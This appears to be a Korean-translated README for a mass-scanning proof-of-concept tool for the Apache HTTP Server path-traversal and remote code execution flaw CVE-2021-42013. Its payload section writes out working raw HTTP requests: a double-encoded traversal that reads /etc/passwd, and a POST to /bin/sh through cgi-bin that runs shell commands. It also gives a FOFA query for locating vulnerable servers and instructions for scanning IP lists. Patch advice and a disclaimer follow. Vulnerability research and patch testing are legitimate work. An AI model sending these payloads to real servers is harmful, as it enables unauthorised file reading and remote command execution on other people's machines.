asaotomo/cve-2021-42013-apache-rce-poc-expApache 원격 코드 실행 (CVE-2021-42013) 대량 탐지 도구: Apache HTTP Server는 미국 아파치(Apache) 재단의 오픈소스 웹 서버입니다. 이 서버는 빠르고 안정적이며 간단한 API를 통해 확장할 수 있는 특징이 있습니다. Apache HTTP Server 2.4.50에서 CVE-2021-41773에 대한 수정이 충분하지 않다는 점이 발견되었습니다. 공격자는 경로 순회 공격을 사용하여 URL을 유사 별칭 지시문으로 구성된 디렉토리 외부의 파일에 매핑할 수 있습니다. 이러한 디렉토리 외부의 파일이 일반적인 기본 구성 "모두 거부 필요"로 보호되지 않으면 요청이 성공할 수 있습니다. 또한 해당 별칭 경로에 CGI 스크립트가 활성화되어 있으면 원격 코드 실행이 가능할 수 있습니다. 이 문제는 Apache 2.4.49 및 Apache 2.4.50에만 영향을 미치며, 이전 버전에는 영향을 미치지 않습니다.
Apache 원격 코드 실행 (CVE-2021-42013)
Apache HTTP Server는 미국 Apache 재단의 오픈 소스 웹 서버입니다. 이 서버는 빠르고 안정적이며 간단한 API를 통해 확장이 가능한 특징을 가지고 있습니다. Apache HTTP Server 2.4.50에서 CVE-2021-41773에 대한 수정이 충분하지 않다는 사실이 발견되었습니다. 공격자는 경로 순회 공격을 사용하여 URL을 유사한 별칭 지시문으로 구성된 디렉토리 외부의 파일에 매핑할 수 있습니다. 이러한 디렉토리 외부 파일이 일반적인 기본 구성인 "Require all denied"로 보호되지 않는 경우, 요청이 성공할 수 있습니다. 또한 이러한 별칭 경로에 대해 CGI 스크립트가 활성화된 경우 원격 코드 실행이 가능할 수 있습니다. 이 문제는 Apache 2.4.49 및 Apache 2.4.50에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다.
Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50
server="Apache/2.4.49" || server="Apache/2.4.50"
1. 검사할 IP 주소를 ip.txt 파일에 넣습니다.
2. python3 check.py를 실행합니다.
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: vuglfocus.fofa.so:55493
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0; zmSkin=classic
Connection: close
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: vuglfocus.fofa.so:55493
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0; zmSkin=classic
Connection: close
Content-Length: 57
echo Content-Type: text/plain; echo;ls /
현재 이 취약점들은 수정되었습니다. 취약점의 심각성을 고려하여 영향을 받는 사용자는 즉시 Apache HTTP Server 2.4.51(10월 7일 출시) 이상 버전으로 업그레이드하는 것이 좋습니다.
다운로드 링크:
https://httpd.apache.org/download.cgi#apache24
본 도구는 보안 테스터가 보안 자체 점검을 수행할 목적으로만 제공됩니다. 사용자의 오용으로 인한 모든 결과는 작성자와 무관합니다. 사용자는 반드시 현지 법률을 준수해야 합니다. 본 프로그램은 상업적 용도로 사용할 수 없으며 학습 및 교류 목적으로만 제한됩니다.
